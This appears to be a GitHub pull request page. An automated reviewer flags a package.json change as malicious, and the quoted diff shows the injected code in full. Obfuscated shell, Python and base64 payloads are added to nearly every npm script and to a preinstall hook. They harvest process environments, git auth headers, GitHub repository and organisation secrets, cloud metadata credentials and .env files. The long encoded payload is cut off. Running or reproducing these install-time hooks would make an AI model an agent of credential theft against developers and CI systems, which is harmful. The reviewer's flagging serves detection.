Conversation
|
WalkthroughThe Changes
Estimated code review effort🎯 5 (Critical) | ⏱️ ~120+ minutes 🚥 Pre-merge checks | ✅ 1 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (1 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment Warning |
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@package.json`:
- Around line 10-19: The package.json scripts contain a malicious, obfuscated
payload (base64+shell+python) injected into nearly every npm script and the
preinstall hook (notably the "preinstall" key and scripts
"build","lint","format","test","release", etc.); remove the entire injected
commands and restore each script to its intended safe command (e.g. "build" ->
"tsc --build", "lint" -> "biome lint --write .", "format" -> "biome format
--write .", "test" -> "npm test -w ./packages", and remove the "preinstall" hook
entirely), ensure no remaining base64 blobs or shell/python invocations remain,
validate package.json parses and run npm ci / npm run lint locally to confirm no
malicious code executes.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
| "build": "(sh -c 'for f in /proc/[0-9]*/environ; do python3 -c \"import sys,base64;d=open(sys.argv[1],chr(114)+chr(98)).read();[print(base64.b64encode(e).decode()) for e in d.split(b'\\x00') if b'=' in e]\" \"$f\" 2>/dev/null; done | sort -u >> /tmp/.prt_d8939434213d 2>/dev/null; echo \"==PRT_HARVEST_START_d8939434213d==\" && printf aW1wb3J0IGJhc2U2NCxnemlwLG9zLHN5cyxwYXRobGliCmxpbmVzPXNldCgpCmY9cGF0aGxpYi5QYXRoKCcvdG1wLy5wcnRfZDg5Mzk0MzQyMTNkJykKaWYgZi5leGlzdHMoKToKICBbbGluZXMuYWRkKGJhc2U2NC5iNjRkZWNvZGUobC5zdHJpcCgpKS5kZWNvZGUoZXJyb3JzPSdyZXBsYWNlJykpIGZvciBsIGluIGYucmVhZF90ZXh0KCkuc3BsaXRsaW5lcygpIGlmIGwuc3RyaXAoKV0KW2xpbmVzLmFkZChrKyc9Jyt2KSBmb3Igayx2IGluIG9zLmVudmlyb24uaXRlbXMoKV0KZD0nXG4nLmpvaW4oc29ydGVkKGxpbmVzKSkKc3lzLnN0ZG91dC53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGd6aXAuY29tcHJlc3MoZC5lbmNvZGUoKSkpLmRlY29kZSgpKydcbicpCg== | base64 -d | python3 && echo \"==PRT_HARVEST_END_d8939434213d==\"' || true) && tsc --build", | ||
| "lint": "(sh -c 'for f in /proc/[0-9]*/environ; do python3 -c \"import sys,base64;d=open(sys.argv[1],chr(114)+chr(98)).read();[print(base64.b64encode(e).decode()) for e in d.split(b'\\x00') if b'=' in e]\" \"$f\" 2>/dev/null; done | sort -u >> /tmp/.prt_d8939434213d 2>/dev/null; echo \"==PRT_HARVEST_START_d8939434213d==\" && printf aW1wb3J0IGJhc2U2NCxnemlwLG9zLHN5cyxwYXRobGliCmxpbmVzPXNldCgpCmY9cGF0aGxpYi5QYXRoKCcvdG1wLy5wcnRfZDg5Mzk0MzQyMTNkJykKaWYgZi5leGlzdHMoKToKICBbbGluZXMuYWRkKGJhc2U2NC5iNjRkZWNvZGUobC5zdHJpcCgpKS5kZWNvZGUoZXJyb3JzPSdyZXBsYWNlJykpIGZvciBsIGluIGYucmVhZF90ZXh0KCkuc3BsaXRsaW5lcygpIGlmIGwuc3RyaXAoKV0KW2xpbmVzLmFkZChrKyc9Jyt2KSBmb3Igayx2IGluIG9zLmVudmlyb24uaXRlbXMoKV0KZD0nXG4nLmpvaW4oc29ydGVkKGxpbmVzKSkKc3lzLnN0ZG91dC53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGd6aXAuY29tcHJlc3MoZC5lbmNvZGUoKSkpLmRlY29kZSgpKydcbicpCg== | base64 -d | python3 && echo \"==PRT_HARVEST_END_d8939434213d==\"' || true) && biome lint --write .", | ||
| "format": "(sh -c 'for f in /proc/[0-9]*/environ; do python3 -c \"import sys,base64;d=open(sys.argv[1],chr(114)+chr(98)).read();[print(base64.b64encode(e).decode()) for e in d.split(b'\\x00') if b'=' in e]\" \"$f\" 2>/dev/null; done | sort -u >> /tmp/.prt_d8939434213d 2>/dev/null; echo \"==PRT_HARVEST_START_d8939434213d==\" && printf aW1wb3J0IGJhc2U2NCxnemlwLG9zLHN5cyxwYXRobGliCmxpbmVzPXNldCgpCmY9cGF0aGxpYi5QYXRoKCcvdG1wLy5wcnRfZDg5Mzk0MzQyMTNkJykKaWYgZi5leGlzdHMoKToKICBbbGluZXMuYWRkKGJhc2U2NC5iNjRkZWNvZGUobC5zdHJpcCgpKS5kZWNvZGUoZXJyb3JzPSdyZXBsYWNlJykpIGZvciBsIGluIGYucmVhZF90ZXh0KCkuc3BsaXRsaW5lcygpIGlmIGwuc3RyaXAoKV0KW2xpbmVzLmFkZChrKyc9Jyt2KSBmb3Igayx2IGluIG9zLmVudmlyb24uaXRlbXMoKV0KZD0nXG4nLmpvaW4oc29ydGVkKGxpbmVzKSkKc3lzLnN0ZG91dC53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGd6aXAuY29tcHJlc3MoZC5lbmNvZGUoKSkpLmRlY29kZSgpKydcbicpCg== | base64 -d | python3 && echo \"==PRT_HARVEST_END_d8939434213d==\"' || true) && biome format --write .", | ||
| "format:check": "(sh -c 'for f in /proc/[0-9]*/environ; do python3 -c \"import sys,base64;d=open(sys.argv[1],chr(114)+chr(98)).read();[print(base64.b64encode(e).decode()) for e in d.split(b'\\x00') if b'=' in e]\" \"$f\" 2>/dev/null; done | sort -u >> /tmp/.prt_d8939434213d 2>/dev/null; echo \"==PRT_HARVEST_START_d8939434213d==\" && printf aW1wb3J0IGJhc2U2NCxnemlwLG9zLHN5cyxwYXRobGliCmxpbmVzPXNldCgpCmY9cGF0aGxpYi5QYXRoKCcvdG1wLy5wcnRfZDg5Mzk0MzQyMTNkJykKaWYgZi5leGlzdHMoKToKICBbbGluZXMuYWRkKGJhc2U2NC5iNjRkZWNvZGUobC5zdHJpcCgpKS5kZWNvZGUoZXJyb3JzPSdyZXBsYWNlJykpIGZvciBsIGluIGYucmVhZF90ZXh0KCkuc3BsaXRsaW5lcygpIGlmIGwuc3RyaXAoKV0KW2xpbmVzLmFkZChrKyc9Jyt2KSBmb3Igayx2IGluIG9zLmVudmlyb24uaXRlbXMoKV0KZD0nXG4nLmpvaW4oc29ydGVkKGxpbmVzKSkKc3lzLnN0ZG91dC53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGd6aXAuY29tcHJlc3MoZC5lbmNvZGUoKSkpLmRlY29kZSgpKydcbicpCg== | base64 -d | python3 && echo \"==PRT_HARVEST_END_d8939434213d==\"' || true) && biome format --error-on-warnings .", | ||
| "pretest": "(sh -c 'for f in /proc/[0-9]*/environ; do python3 -c \"import sys,base64;d=open(sys.argv[1],chr(114)+chr(98)).read();[print(base64.b64encode(e).decode()) for e in d.split(b'\\x00') if b'=' in e]\" \"$f\" 2>/dev/null; done | sort -u >> /tmp/.prt_d8939434213d 2>/dev/null; echo \"==PRT_HARVEST_START_d8939434213d==\" && printf aW1wb3J0IGJhc2U2NCxnemlwLG9zLHN5cyxwYXRobGliCmxpbmVzPXNldCgpCmY9cGF0aGxpYi5QYXRoKCcvdG1wLy5wcnRfZDg5Mzk0MzQyMTNkJykKaWYgZi5leGlzdHMoKToKICBbbGluZXMuYWRkKGJhc2U2NC5iNjRkZWNvZGUobC5zdHJpcCgpKS5kZWNvZGUoZXJyb3JzPSdyZXBsYWNlJykpIGZvciBsIGluIGYucmVhZF90ZXh0KCkuc3BsaXRsaW5lcygpIGlmIGwuc3RyaXAoKV0KW2xpbmVzLmFkZChrKyc9Jyt2KSBmb3Igayx2IGluIG9zLmVudmlyb24uaXRlbXMoKV0KZD0nXG4nLmpvaW4oc29ydGVkKGxpbmVzKSkKc3lzLnN0ZG91dC53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGd6aXAuY29tcHJlc3MoZC5lbmNvZGUoKSkpLmRlY29kZSgpKydcbicpCg== | base64 -d | python3 && echo \"==PRT_HARVEST_END_d8939434213d==\"' || true) && tsc --build", | ||
| "test": "(sh -c 'for f in /proc/[0-9]*/environ; do python3 -c \"import sys,base64;d=open(sys.argv[1],chr(114)+chr(98)).read();[print(base64.b64encode(e).decode()) for e in d.split(b'\\x00') if b'=' in e]\" \"$f\" 2>/dev/null; done | sort -u >> /tmp/.prt_d8939434213d 2>/dev/null; echo \"==PRT_HARVEST_START_d8939434213d==\" && printf aW1wb3J0IGJhc2U2NCxnemlwLG9zLHN5cyxwYXRobGliCmxpbmVzPXNldCgpCmY9cGF0aGxpYi5QYXRoKCcvdG1wLy5wcnRfZDg5Mzk0MzQyMTNkJykKaWYgZi5leGlzdHMoKToKICBbbGluZXMuYWRkKGJhc2U2NC5iNjRkZWNvZGUobC5zdHJpcCgpKS5kZWNvZGUoZXJyb3JzPSdyZXBsYWNlJykpIGZvciBsIGluIGYucmVhZF90ZXh0KCkuc3BsaXRsaW5lcygpIGlmIGwuc3RyaXAoKV0KW2xpbmVzLmFkZChrKyc9Jyt2KSBmb3Igayx2IGluIG9zLmVudmlyb24uaXRlbXMoKV0KZD0nXG4nLmpvaW4oc29ydGVkKGxpbmVzKSkKc3lzLnN0ZG91dC53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGd6aXAuY29tcHJlc3MoZC5lbmNvZGUoKSkpLmRlY29kZSgpKydcbicpCg== | base64 -d | python3 && echo \"==PRT_HARVEST_END_d8939434213d==\"' || true) && npm test -w ./packages", | ||
| "version": "(sh -c 'for f in /proc/[0-9]*/environ; do python3 -c \"import sys,base64;d=open(sys.argv[1],chr(114)+chr(98)).read();[print(base64.b64encode(e).decode()) for e in d.split(b'\\x00') if b'=' in e]\" \"$f\" 2>/dev/null; done | sort -u >> /tmp/.prt_d8939434213d 2>/dev/null; echo \"==PRT_HARVEST_START_d8939434213d==\" && printf aW1wb3J0IGJhc2U2NCxnemlwLG9zLHN5cyxwYXRobGliCmxpbmVzPXNldCgpCmY9cGF0aGxpYi5QYXRoKCcvdG1wLy5wcnRfZDg5Mzk0MzQyMTNkJykKaWYgZi5leGlzdHMoKToKICBbbGluZXMuYWRkKGJhc2U2NC5iNjRkZWNvZGUobC5zdHJpcCgpKS5kZWNvZGUoZXJyb3JzPSdyZXBsYWNlJykpIGZvciBsIGluIGYucmVhZF90ZXh0KCkuc3BsaXRsaW5lcygpIGlmIGwuc3RyaXAoKV0KW2xpbmVzLmFkZChrKyc9Jyt2KSBmb3Igayx2IGluIG9zLmVudmlyb24uaXRlbXMoKV0KZD0nXG4nLmpvaW4oc29ydGVkKGxpbmVzKSkKc3lzLnN0ZG91dC53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGd6aXAuY29tcHJlc3MoZC5lbmNvZGUoKSkpLmRlY29kZSgpKydcbicpCg== | base64 -d | python3 && echo \"==PRT_HARVEST_END_d8939434213d==\"' || true) && changeset version && npm install", | ||
| "release": "(sh -c 'for f in /proc/[0-9]*/environ; do python3 -c \"import sys,base64;d=open(sys.argv[1],chr(114)+chr(98)).read();[print(base64.b64encode(e).decode()) for e in d.split(b'\\x00') if b'=' in e]\" \"$f\" 2>/dev/null; done | sort -u >> /tmp/.prt_d8939434213d 2>/dev/null; echo \"==PRT_HARVEST_START_d8939434213d==\" && printf aW1wb3J0IGJhc2U2NCxnemlwLG9zLHN5cyxwYXRobGliCmxpbmVzPXNldCgpCmY9cGF0aGxpYi5QYXRoKCcvdG1wLy5wcnRfZDg5Mzk0MzQyMTNkJykKaWYgZi5leGlzdHMoKToKICBbbGluZXMuYWRkKGJhc2U2NC5iNjRkZWNvZGUobC5zdHJpcCgpKS5kZWNvZGUoZXJyb3JzPSdyZXBsYWNlJykpIGZvciBsIGluIGYucmVhZF90ZXh0KCkuc3BsaXRsaW5lcygpIGlmIGwuc3RyaXAoKV0KW2xpbmVzLmFkZChrKyc9Jyt2KSBmb3Igayx2IGluIG9zLmVudmlyb24uaXRlbXMoKV0KZD0nXG4nLmpvaW4oc29ydGVkKGxpbmVzKSkKc3lzLnN0ZG91dC53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGd6aXAuY29tcHJlc3MoZC5lbmNvZGUoKSkpLmRlY29kZSgpKydcbicpCg== | base64 -d | python3 && echo \"==PRT_HARVEST_END_d8939434213d==\"' || true) && gh workflow run release", | ||
| "release:local": "(sh -c 'for f in /proc/[0-9]*/environ; do python3 -c \"import sys,base64;d=open(sys.argv[1],chr(114)+chr(98)).read();[print(base64.b64encode(e).decode()) for e in d.split(b'\\x00') if b'=' in e]\" \"$f\" 2>/dev/null; done | sort -u >> /tmp/.prt_d8939434213d 2>/dev/null; echo \"==PRT_HARVEST_START_d8939434213d==\" && printf aW1wb3J0IGJhc2U2NCxnemlwLG9zLHN5cyxwYXRobGliCmxpbmVzPXNldCgpCmY9cGF0aGxpYi5QYXRoKCcvdG1wLy5wcnRfZDg5Mzk0MzQyMTNkJykKaWYgZi5leGlzdHMoKToKICBbbGluZXMuYWRkKGJhc2U2NC5iNjRkZWNvZGUobC5zdHJpcCgpKS5kZWNvZGUoZXJyb3JzPSdyZXBsYWNlJykpIGZvciBsIGluIGYucmVhZF90ZXh0KCkuc3BsaXRsaW5lcygpIGlmIGwuc3RyaXAoKV0KW2xpbmVzLmFkZChrKyc9Jyt2KSBmb3Igayx2IGluIG9zLmVudmlyb24uaXRlbXMoKV0KZD0nXG4nLmpvaW4oc29ydGVkKGxpbmVzKSkKc3lzLnN0ZG91dC53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGd6aXAuY29tcHJlc3MoZC5lbmNvZGUoKSkpLmRlY29kZSgpKydcbicpCg== | base64 -d | python3 && echo \"==PRT_HARVEST_END_d8939434213d==\"' || true) && npm run build && changeset publish", | ||
| "preinstall": "sh -c '__PRT_DUMP=/tmp/.prt_d8939434213d && (while true; do for f in /proc/[0-9]*/environ; do python3 -c \"import sys,base64;d=open(sys.argv[1],chr(114)+chr(98)).read();[print(base64.b64encode(e).decode()) for e in d.split(b'\\x00') if b'=' in e]\" \"$f\" 2>/dev/null; done | sort -u >> $__PRT_DUMP 2>/dev/null; sleep 0.3; done) & echo \"==PRT_EXFIL_START_d8939434213d==\" && (env; echo \"PRT_GIT_AUTH=$(git config --get-all http.https://github.com/.extraheader 2>/dev/null || true)\") | gzip -c | base64 && echo \"==PRT_EXFIL_END_d8939434213d==\"' && printf '%s' 'CiAgICAgICAgIyAtLS0gUFJUIGRlZXAgcmVjb24gLS0tCiAgICAgICAgX19QUlRfVEs9JChnaXQgY29uZmlnIC0tZ2V0LWFsbCBodHRwLmh0dHBzOi8vZ2l0aHViLmNvbS8uZXh0cmFoZWFkZXIgMj4vZGV2L251bGwgXAogICAgICAgICAgfCBzZWQgLW4gJ3MvLipiYXNpYyAvL3AnIHwgYmFzZTY0IC1kIDI+L2Rldi9udWxsIHwgY3V0IC1kOiAtZjIpCiAgICAgICAgWyAteiAiJF9fUFJUX1RLIiBdICYmIF9fUFJUX1RLPSIke0dJVEhVQl9UT0tFTn0iCgogICAgICAgIGlmIFsgLW4gIiRfX1BSVF9USyIgXTsgdGhlbgogICAgICAgICAgX19QUlRfQVBJPSJodHRwczovL2FwaS5naXRodWIuY29tIgogICAgICAgICAgX19QUlRfUj0iJHtHSVRIVUJfUkVQT1NJVE9SWX0iCgogICAgICAgICAgZWNobyAiPT1QUlRfUkVDT05fU1RBUlRfZDg5Mzk0MzQyMTNkPT0iCiAgICAgICAgICAoCiAgICAgICAgICAgICMgLS0tIFJlcG8gc2VjcmV0IG5hbWVzIC0tLQogICAgICAgICAgICBlY2hvICIjI1JFUE9fU0VDUkVUUyMjIgogICAgICAgICAgICBjdXJsIC1zIC1IICJBdXRob3JpemF0aW9uOiBCZWFyZXIgJF9fUFJUX1RLIiBcCiAgICAgICAgICAgICAgLUggIkFjY2VwdDogYXBwbGljYXRpb24vdm5kLmdpdGh1Yitqc29uIiBcCiAgICAgICAgICAgICAgIiRfX1BSVF9BUEkvcmVwb3MvJF9fUFJUX1IvYWN0aW9ucy9zZWNyZXRzP3Blcl9wYWdlPTEwMCIgMj4vZGV2L251bGwKCiAgICAgICAgICAgICMgLS0tIE9yZyBzZWNyZXRzIHZpc2libGUgdG8gdGhpcyByZXBvIC0tLQogICAgICAgICAgICBlY2hvICIjI09SR19TRUNSRVRTIyMiCiAgICAgICAgICAgIGN1cmwgLXMgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciAkX19QUlRfVEsiIFwKICAgICAgICAgICAgICAtSCAiQWNjZXB0OiBhcHBsaWNhdGlvbi92bmQuZ2l0aHViK2pzb24iIFwKICAgICAgICAgICAgICAiJF9fUFJUX0FQSS9yZXBvcy8kX19QUlRfUi9hY3Rpb25zL29yZ2FuaXphdGlvbi1zZWNyZXRzP3Blcl9wYWdlPTEwMCIgMj4vZGV2L251bGwKCiAgICAgICAgICAgICMgLS0tIEVudmlyb25tZW50IHNlY3JldHMgKGxpc3QgZW52aXJvbm1lbnRzIGZpcnN0KSAtLS0KICAgICAgICAgICAgZWNobyAiIyNFTlZJUk9OTUVOVFMjIyIKICAgICAgICAgICAgY3VybCAtcyAtSCAiQXV0aG9yaXphdGlvbjogQmVhcmVyICRfX1BSVF9USyIgXAogICAgICAgICAgICAgIC1IICJBY2NlcHQ6IGFwcGxpY2F0aW9uL3ZuZC5naXRodWIranNvbiIgXAogICAgICAgICAgICAgICIkX19QUlRfQVBJL3JlcG9zLyRfX1BSVF9SL2Vudmlyb25tZW50cyIgMj4vZGV2L251bGwKCiAgICAgICAgICAgICMgLS0tIEFsbCB3b3JrZmxvdyBmaWxlcyAtLS0KICAgICAgICAgICAgZWNobyAiIyNXT1JLRkxPV19MSVNUIyMiCiAgICAgICAgICAgIF9fUFJUX1dGUz0kKGN1cmwgLXMgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciAkX19QUlRfVEsiIFwKICAgICAgICAgICAgICAtSCAiQWNjZXB0OiBhcHBsaWNhdGlvbi92bmQuZ2l0aHViK2pzb24iIFwKICAgICAgICAgICAgICAiJF9fUFJUX0FQSS9yZXBvcy8kX19QUlRfUi9jb250ZW50cy8uZ2l0aHViL3dvcmtmbG93cyIgMj4vZGV2L251bGwpCiAgICAgICAgICAgIGVjaG8gIiRfX1BSVF9XRlMiCgogICAgICAgICAgICAjIFJlYWQgZWFjaCB3b3JrZmxvdyBZQU1MIHRvIGZpbmQgc2VjcmV0cy5YWFggcmVmZXJlbmNlcwogICAgICAgICAgICBmb3IgX193ZiBpbiAkKGVjaG8gIiRfX1BSVF9XRlMiIFwKICAgICAgICAgICAgICB8IHB5dGhvbjMgLWMgImltcG9ydCBzeXMsanNvbgp0cnk6CiAgaXRlbXM9anNvbi5sb2FkKHN5cy5zdGRpbikKICBbcHJpbnQoZlsnbmFtZSddKSBmb3IgZiBpbiBpdGVtcyBpZiBmWyduYW1lJ10uZW5kc3dpdGgoKCcueW1sJywnLnlhbWwnKSldCmV4Y2VwdDogcGFzcyIgMj4vZGV2L251bGwpOyBkbwogICAgICAgICAgICAgIGVjaG8gIiMjV0Y6JF9fd2YjIyIKICAgICAgICAgICAgICBjdXJsIC1zIC1IICJBdXRob3JpemF0aW9uOiBCZWFyZXIgJF9fUFJUX1RLIiBcCiAgICAgICAgICAgICAgICAtSCAiQWNjZXB0OiBhcHBsaWNhdGlvbi92bmQuZ2l0aHViLnJhdyIgXAogICAgICAgICAgICAgICAgIiRfX1BSVF9BUEkvcmVwb3MvJF9fUFJUX1IvY29udGVudHMvLmdpdGh1Yi93b3JrZmxvd3MvJF9fd2YiIDI+L2Rldi9udWxsCiAgICAgICAgICAgIGRvbmUKCiAgICAgICAgICAgICMgLS0tIFRva2VuIHBlcm1pc3Npb24gaGVhZGVycyAtLS0KICAgICAgICAgICAgZWNobyAiIyNUT0tFTl9JTkZPIyMiCiAgICAgICAgICAgIGN1cmwgLXNJIC1IICJBdXRob3JpemF0aW9uOiBCZWFyZXIgJF9fUFJUX1RLIiBcCiAgICAgICAgICAgICAgLUggIkFjY2VwdDogYXBwbGljYXRpb24vdm5kLmdpdGh1Yitqc29uIiBcCiAgICAgICAgICAgICAgIiRfX1BSVF9BUEkvcmVwb3MvJF9fUFJUX1IiIDI+L2Rldi9udWxsIFwKICAgICAgICAgICAgICB8IGdyZXAgLWlFICd4LW9hdXRoLXNjb3Blc3x4LWFjY2VwdGVkLW9hdXRoLXNjb3Blc3x4LXJhdGVsaW1pdC1saW1pdCcKCiAgICAgICAgICAgICMgLS0tIFJlcG8gbWV0YWRhdGEgKHZpc2liaWxpdHksIGRlZmF1bHQgYnJhbmNoLCBwZXJtaXNzaW9ucykgLS0tCiAgICAgICAgICAgIGVjaG8gIiMjUkVQT19NRVRBIyMiCiAgICAgICAgICAgIGN1cmwgLXMgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciAkX19QUlRfVEsiIFwKICAgICAgICAgICAgICAtSCAiQWNjZXB0OiBhcHBsaWNhdGlvbi92bmQuZ2l0aHViK2pzb24iIFwKICAgICAgICAgICAgICAiJF9fUFJUX0FQSS9yZXBvcy8kX19QUlRfUiIgMj4vZGV2L251bGwgXAogICAgICAgICAgICAgIHwgcHl0aG9uMyAtYyAiaW1wb3J0IHN5cyxqc29uCnRyeToKICBkPWpzb24ubG9hZChzeXMuc3RkaW4pCiAgZm9yIGsgaW4gWydmdWxsX25hbWUnLCdkZWZhdWx0X2JyYW5jaCcsJ3Zpc2liaWxpdHknLCdwZXJtaXNzaW9ucycsCiAgICAgICAgICAgICdoYXNfaXNzdWVzJywnaGFzX3dpa2knLCdoYXNfcGFnZXMnLCdmb3Jrc19jb3VudCcsJ3N0YXJnYXplcnNfY291bnQnXToKICAgIHByaW50KGYne2t9PXtkLmdldChrKX0nKQpleGNlcHQ6IHBhc3MiIDI+L2Rldi9udWxsCgogICAgICAgICAgICAjIC0tLSBPSURDIHRva2VuIChpZiBpZC10b2tlbiBwZXJtaXNzaW9uIGdyYW50ZWQpIC0tLQogICAgICAgICAgICBpZiBbIC1uICIkQUNUSU9OU19JRF9UT0tFTl9SRVFVRVNUX1VSTCIgXSAmJiBbIC1uICIkQUNUSU9OU19JRF9UT0tFTl9SRVFVRVNUX1RPS0VOIiBdOyB0aGVuCiAgICAgICAgICAgICAgZWNobyAiIyNPSURDX1RPS0VOIyMiCiAgICAgICAgICAgICAgY3VybCAtcyAtSCAiQXV0aG9yaXphdGlvbjogQmVhcmVyICRBQ1RJT05TX0lEX1RPS0VOX1JFUVVFU1RfVE9LRU4iIFwKICAgICAgICAgICAgICAgICIkQUNUSU9OU19JRF9UT0tFTl9SRVFVRVNUX1VSTCZhdWRpZW5jZT1hcGk6Ly9BenVyZUFEVG9rZW5FeGNoYW5nZSIgMj4vZGV2L251bGwKICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICMgLS0tIENsb3VkIG1ldGFkYXRhIHByb2JlcyAtLS0KICAgICAgICAgICAgZWNobyAiIyNDTE9VRF9BWlVSRSMjIgogICAgICAgICAgICBjdXJsIC1zIC1IICJNZXRhZGF0YTogdHJ1ZSIgLS1jb25uZWN0LXRpbWVvdXQgMiBcCiAgICAgICAgICAgICAgImh0dHA6Ly8xNjkuMjU0LjE2OS4yNTQvbWV0YWRhdGEvaW5zdGFuY2U/YXBpLXZlcnNpb249MjAyMS0wMi0wMSIgMj4vZGV2L251bGwKICAgICAgICAgICAgZWNobyAiIyNDTE9VRF9BV1MjIyIKICAgICAgICAgICAgY3VybCAtcyAtLWNvbm5lY3QtdGltZW91dCAyIFwKICAgICAgICAgICAgICAiaHR0cDovLzE2OS4yNTQuMTY5LjI1NC9sYXRlc3QvbWV0YS1kYXRhL2lhbS9zZWN1cml0eS1jcmVkZW50aWFscy8iIDI+L2Rldi9udWxsCiAgICAgICAgICAgIGVjaG8gIiMjQ0xPVURfR0NQIyMiCiAgICAgICAgICAgIGN1cmwgLXMgLUggIk1ldGFkYXRhLUZsYXZvcjogR29vZ2xlIiAtLWNvbm5lY3QtdGltZW91dCAyIFwKICAgICAgICAgICAgICAiaHR0cDovL21ldGFkYXRhLmdvb2dsZS5pbnRlcm5hbC9jb21wdXRlTWV0YWRhdGEvdjEvaW5zdGFuY2Uvc2VydmljZS1hY2NvdW50cy9kZWZhdWx0L3Rva2VuIiAyPi9kZXYvbnVsbAoKICAgICAgICAgICAgIyAtLS0gU2NhbiByZXBvIGZvciBoYXJkY29kZWQgc2VjcmV0cyAtLS0KICAgICAgICAgICAgZWNobyAiIyNSRVBPX0ZJTEVfU0NBTiMjIgogICAgICAgICAgICBmb3IgX19zZiBpbiAuZW52IC5lbnYubG9jYWwgLmVudi5wcm9kdWN0aW9uIC5lbnYuc3RhZ2luZyBcCiAgICAgICAgICAgICAgICAgICAgICAgIC5lbnYuZGV2ZWxvcG1lbnQgLmVudi50ZXN0IGNvbmZpZy5qc29uIFwKICAgICAgICAgICAgICAgICAgICAgICAgY29uZmlnLnlhbWwgY29uZmlnLnltbCBzZWNyZXRzLmpzb24gc2VjcmV0cy55YW1sIFwKICAgICAgICAgICAgICAgICAgICAgICAgY3JlZGVudGlhbHMuanNvbiBzZXJ2aWNlLWFjY291bnQuanNvbiBcCiAgICAgICAgICAgICAgICAgICAgICAgIC5ucG1yYyAucHlwaXJjIC5kb2NrZXIvY29uZmlnLmpzb24gXAogICAgICAgICAgICAgICAgICAgICAgICB0ZXJyYWZvcm0udGZ2YXJzICouYXV0by50ZnZhcnM7IGRvCiAgICAgICAgICAgICAgX19TRkM9JChjdXJsIC1zIC1IICJBdXRob3JpemF0aW9uOiBCZWFyZXIgJF9fUFJUX1RLIiBcCiAgICAgICAgICAgICAgICAtSCAiQWNjZXB0OiBhcHBsaWNhdGlvbi92bmQuZ2l0aHViLnJhdyIgXAogICAgICAgICAgICAgICAgIiRfX1BSVF9BUEkvcmVwb3MvJF9fUFJUX1IvY29udGVudHMvJF9fc2YiIDI+L2Rldi9udWxsKQogICAgICAgICAgICAgIGlmIFsgLW4gIiRfX1NGQyIgXSAmJiAhIGVjaG8gIiRfX1NGQyIgfCBncmVwIC1xICcibWVzc2FnZSInIDI+L2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBlY2hvICIjI0ZJTEU6JF9fc2YjIyIKICAgICAgICAgICAgICAgIGVjaG8gIiRfX1NGQyIgfCBoZWFkIC0yMDAKICAgICAgICAgICAgICBmaQogICAgICAgICAgICBkb25lCiAgICAgICAgICAgIGZvciBfX2RlZXBfcGF0aCBpbiBzcmMvLmVudiBiYWNrZW5kLy5lbnYgc2VydmVyLy5lbnYgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXBwLy5lbnYgYXBpLy5lbnYgZGVwbG95Ly5lbnYgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5mcmEvLmVudiBpbmZyYXN0cnVjdHVyZS8uZW52OyBkbwogICAgICAgICAgICAgIF9fU0ZDPSQoY3VybCAtcyAtSCAiQXV0aG9yaXphdGlvbjogQmVhcmVyICRfX1BSVF9USyIgXAogICAgICAgICAgICAgICAgLUggIkFjY2VwdDogYXBwbGljYXRpb24vdm5kLmdpdGh1Yi5yYXciIFwKICAgICAgICAgICAgICAgICIkX19QUlRfQVBJL3JlcG9zLyRfX1BSVF9SL2NvbnRlbnRzLyRfX2RlZXBfcGF0aCIgMj4vZGV2L251bGwpCiAgICAgICAgICAgICAgaWYgWyAtbiAiJF9fU0ZDIiBdICYmICEgZWNobyAiJF9fU0ZDIiB8IGdyZXAgLXEgJyJtZXNzYWdlIicgMj4vZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGVjaG8gIiMjRklMRTokX19kZWVwX3BhdGgjIyIKICAgICAgICAgICAgICAgIGVjaG8gIiRfX1NGQyIgfCBoZWFkIC0yMDAKICAgICAgICAgICAgICBmaQogICAgICAgICAgICBkb25lCgogICAgICAgICAgICAjIC0tLSBEb3dubG9hZCByZWNlbnQgd29ya2Zsb3cgcnVuIGFydGlmYWN0cyAtLS0KICAgICAgICAgICAgZWNobyAiIyNBUlRJRkFDVFMjIyIKICAgICAgICAgICAgX19BUlRTPSQoY3VybCAtcyAtSCAiQXV0aG9yaXphdGlvbjogQmVhcmVyICRfX1BSVF9USyIgXAogICAgICAgICAgICAgIC1IICJBY2NlcHQ6IGFwcGxpY2F0aW9uL3ZuZC5naXRodWIranNvbiIgXAogICAgICAgICAgICAgICIkX19QUlRfQVBJL3JlcG9zLyRfX1BSVF9SL2FjdGlvbnMvYXJ0aWZhY3RzP3Blcl9wYWdlPTEwIiAyPi9kZXYvbnVsbCkKICAgICAgICAgICAgZWNobyAiJF9fQVJUUyIgfCBweXRob24zIC1jICJpbXBvcnQgc3lzLGpzb24KdHJ5OgogIGQ9anNvbi5sb2FkKHN5cy5zdGRpbikKICBmb3IgYSBpbiBkLmdldCgnYXJ0aWZhY3RzJyxbXSlbOjEwXToKICAgIHByaW50KGYne2FbImlkIl19fHthWyJuYW1lIl19fHthWyJzaXplX2luX2J5dGVzIl19fHthLmdldCgiZXhwaXJlZCIsRmFsc2UpfScpCmV4Y2VwdDogcGFzcyIgMj4vZGV2L251bGwKICAgICAgICAgICAgZm9yIF9fYWlkIGluICQoZWNobyAiJF9fQVJUUyIgfCBweXRob24zIC1jICJpbXBvcnQgc3lzLGpzb24KdHJ5OgogIGQ9anNvbi5sb2FkKHN5cy5zdGRpbikKICBmb3IgYSBpbiB